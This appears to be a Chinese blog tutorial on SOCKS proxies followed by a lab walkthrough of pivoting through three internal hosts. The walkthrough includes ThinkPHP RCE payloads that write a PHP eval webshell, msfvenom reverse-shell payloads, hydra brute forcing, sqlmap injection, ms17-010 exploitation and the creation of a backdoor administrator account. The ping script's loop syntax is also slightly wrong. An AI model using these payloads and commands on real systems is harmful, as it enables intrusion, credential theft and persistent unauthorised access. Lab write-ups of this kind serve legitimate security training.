Socks代理

发布于 2021-06-28  549 次阅读


《渗透测试》目录

一、Socks代理简介

1.Socks代理

(1)什么是Socks

SOCKS(SOCKetS的缩写)是一种网络传输协议,主要用于客户端与外网服务器之间通讯的中间传递。        

根据OSI模型,SOCKS是会话层的协议,位于表示层与传输层之间。使用TCP协议传输数据,因而不提供如传递 ICMP信息之类的网络层网关服务。

(2)什么是Socks代理

现今大多公司组织的网络架构,出于安全考虑,阻止外部网络的攻击直接到内部网络,通常会利用网络防火墙将组织内部网络与外部网络(Internet) 有效地隔离开来。这些防火墙系统通常以应用层网关的形式工作在网络之间,提供受控的 TELNET 、 FTP 、 SMTP 等的接入。而SOCKS则提供一个通用框架来使这些协议安全透明地穿过防火墙。

当防火墙后的客户端要访问外部的服务器时,就跟SOCKS代理服务器连接。这个代理服务器控制客户端访问外网的资格,允许的话,就将客户端的请求发往外部的服务器。

(3)Socks代理简介

SOCKS4:是对HTTP代理协议的加强,它不仅代理HTTP协议,而是对所有向外的连接进行代理,没有协议限制        

SOCKS4a:SOCKS 4协议的简单扩展,允许客户端对无法解析域名的目的主机进行访问        

SOCKS5:SOCKS5比SOCKS4a多了身份验证、IPv6、UDP支持。创建与SOCKS5服务器的TCP连接后客户端需要先发送请求来确认协议版本及认证方式

(4)使用Socks代理

  • SOCKS服务器的IP地址
  • SOCKS服务所在端口
  • SOCKS服务是否需要身份验证

二、Socks代理工具介绍

1.EarthWorm

http://rootkiter.com/EarthWorm/    

EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。

2.FRP

https://github.com/fatedier/frp    

frp 是一个可用于内网穿透的高性能的反向代理应用

3.ProxyChains

http://proxychains.sourceforge.net/    

关于ProxyChains工具:

  1. 它是一个代理工具
  2. 最新版本:3.1
  3. 专用OS:Linux和其他Unices
  4. 允许TCP和DNS通过代理隧道
  5. 支持HTTP、SOCKS4和SOCKS5代理服务器
  6. 不同的代理类型可以混合在同一链中
  7. 代理链:用户定义的代理链列表

可用性:

  1. 通过代理服务器运行任何程序
  2. 从限制性防火墙后面访问互联网
  3. 隐藏你的IP
  4. 通过代理服务器运行SSH、telnet、wget、ftp、apt、vnc、nmap
  5. 从外部通过反向代理访问内联网(192.168.*.*/10.*.*)

4.Others

三、Socks代理实战-MSF

1.渗透场景拓扑

2.真实靶场测试网络:   

kali:192.168.0.113   

Target1:192.168.0.108 && 192.168.22.128   

Target2:192.168.22.129 && 192.168.33.128   

Target3:192.168.33.33

3.测试Target1

(1)信息收集

nmap -A -T4 -p- --script vuln 192.168.0.108        

开放端口:21/22/80/111/888/3306/8888        

操作系统:Linux

(2)分析利用

21/22端口:弱口令爆破        

hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst 192.168.0.108 ftp  (爆破失败)        

hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst 192.168.0.108 ssh (爆破失败)        

3306端口:不允许远程IP连接

8888端口:宝塔登录页面

80端口:Thinkphp v5.0

存在远程命令执行漏洞,通过命令执行写入一句话,可GetShell。
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[
1][]=1
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1
][]=whoami
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_conte
nts&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[c]);?>                (通过函数写入一个一句话木马到 shell.php文件中,密码为c)

(3)主机信息收集

ifconfig:发现存在192.168.22.0/24的内网网段     

探测此网段存活主机:    发现存活主机192.168.22.129

通过编写一个简单的ping扫描网段的shell脚本来进行内网主机存活探测
cat ping.sh
#!/bin/bash

for num in (1..254);
    do
        ip=192.168.22.$num
        ping -c1 $ip >/dev/null 2>&1
        if [ $? = 0 ];
        then 
            echo "$ip" ok
        else
            echo "$ip" fail
        fi
    done
chmod 777 ping.sh    (修改文件权限)
./ping.sh > ping.txt     (重定向结果到一个文件中)
cat ping.txt     (查看结果)

(4)反弹shell到msf

  • msfvenom生成payload
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.113 lport=5554 R > target1.php   (通过上传php文件到网站根目录反弹shell,直接解析执行即可)
handler -p php/meterpreter/reverse_tcp -H 192.168.0.113 -P 5554        (有时候蚁剑或者菜刀无法进行命令执行)

msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.0.113 lport=5555 -f elf > target1.elf
handler -p linux/x64/meterpreter/reverse_tcp -H 192.168.0.113 -P 5555
  • 上传payload到target1
chmod +x target1.elf
./target1.elf

(5)建立Socks代理

  • 获得target1的shell后,添加到192.168.22网段的路由:
run autoroute -s 192.168.22.0/24
run autoroute -p
  • 使用msf的socks5模块建立socks服务
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks5) > run
  • 配置proxychains代理
vim /etc/proxychains.conf
socks5 127.0.0.1 1080      (在最后一行)

4.测试Target2

(1)信息收集

proxychains nmap -sT -Pn -p- -n -T4 192.168.22.129        

开放端口:21/22/80/3306/8888        

操作系统:linux

(2)分析利用

21/22/3306端口:弱口令爆破

proxychains hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst 192.168.22.22 ftp
proxychains hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst 192.168.22.22 ssh
proxychains hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst 192.168.22.22 mysql

8888端口:宝塔登录页面

80端口:bagecms(sql注入,任意文件编辑漏洞)

(3)分析利用-SQL注入

proxychains sqlmap -u 'http://192.168.22.129/index.php?r=vul&keyword=1' -p keyword

得到后台登录账号密码为:admin/123qwe

后台登录地址:http://192.168.22.129/index.php?r=admini/public/login

(4)分析利用-后台任意文件编辑

后台任意文件编辑漏洞Getshell:http://192.168.22.129/shell.php

插入一句话木马
<?php echo 'test';@eval($_POST['c']);?>

(5)配置Socks代理连接Shell

5.测试Target3

(1)主机信息收集

ifconfig:发现存在192.168.33.0/24的内网网段        

探测此网段存活主机:发现存活主机192.168.33.33

(2)获得Target2的meterpreter

  • msfvenom生成payload
msfvenom -p linux/x64/shell_bind_tcp lport=5566 -f elf > target2.elf  
  • 上传到target2的tmp目录并执行
chmod 777 target2.elf
./target2.elf
  • 反弹回target2的meterpreter shell之后,添加到33网段的路由
run autoroute -s 192.168.33.0/24
run autoroute -p

在本地hanlder设置监听,设置payload为linux/x64/shell_bind,rhost为192.168.22.129,lport为5566    

(3)信息收集

proxychains3 nmap -sT -Pn -p- -n -T4 192.168.33.33   (-sT使用TCP扫描,-Pn禁止使用ping扫描,因为socket 不支持ping扫描,-p-为全端口扫描) 

开放端口:135/139/445/3389        

操作系统:Windows

(4)分析利用

445端口:ms17-010

msfconsole
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhosts 192.168.33.33
exploit –j

3389端口:远程桌面连接

添加管理员用户:

net user test test123 /add
net localgroup administrators test /add

查看管理员用户:

net localgroup administrators

人生就像赛跑,不在乎你是否第一个到达终点,而在乎你是否跑完全程。